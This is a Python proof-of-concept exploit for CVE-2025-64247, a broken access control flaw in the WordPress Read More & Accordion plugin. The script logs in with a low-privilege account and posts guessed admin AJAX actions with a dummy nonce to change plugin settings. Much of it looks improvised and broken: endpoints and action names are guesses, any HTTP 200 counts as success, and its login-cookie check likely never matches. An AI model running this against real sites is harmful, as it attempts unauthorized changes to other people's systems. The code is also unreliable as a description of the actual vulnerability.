CVE-2025-64247

# CVE-2025-64247 PoC - WordPress Read More & Accordion Broken Access Control # Affected versions: <= 3.5.5.1 # Vulnerability: Missing Authorization in plugin settings import requests import sys from urllib.parse import urljoin def exploit_cve_2025_64247(target_url, username, password): """ Exploit for CVE-2025-64247: Missing Authorization in Read More & Accordion plugin This PoC demonstrates how a low-privilege user can access admin functions. """ session = requests.Session() # Step 1: Login with low-privilege account login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as low-privilege user: {username}') response = session.post(login_url, data=login_data, cookies=session.cookies) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful') # Step 2: Identify vulnerable AJAX endpoint # Common plugin AJAX handlers ajax_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/expand-maker/ajax-handler.php', '/wp-content/plugins/read-more-accordion/ajax-handler.php' ] # Step 3: Try to access admin functions with low-privilege session # Example: Modify plugin settings admin_actions = [ {'action': 'expand_maker_save_settings', 'data': {'option_name': 'malicious_value'}}, {'action': 'read_more_save_config', 'data': {'config': 'modified_config'}}, {'action': 'accordion_admin_action', 'data': {'mode': 'unauthorized_access'}} ] print('[*] Attempting to access admin functions...') for ajax_endpoint in ajax_endpoints: full_url = urljoin(target_url, ajax_endpoint) for admin_action in admin_actions: post_data = { 'action': admin_action['action'], 'nonce': '0000', # May not be properly validated **admin_action['data'] } try: response = session.post(full_url, data=post_data, timeout=10) if response.status_code == 200: print(f'[+] Possible unauthorized access at: {ajax_endpoint}') print(f' Response: {response.text[:200]}') except requests.RequestException as e: print(f'[-] Request failed: {e}') # Step 4: Check if settings were modified print('[*] Verifying unauthorized changes...') settings_url = urljoin(target_url, '/wp-admin/admin.php?page=expand-maker-settings') response = session.get(settings_url) if response.status_code == 200: print('[+] Successfully accessed admin settings page without proper authorization') return True return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve-2025-64247.py <target_url> <username> <password>') print('Example: python cve-2025-64247.py http://target.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_64247(target, user, pwd)

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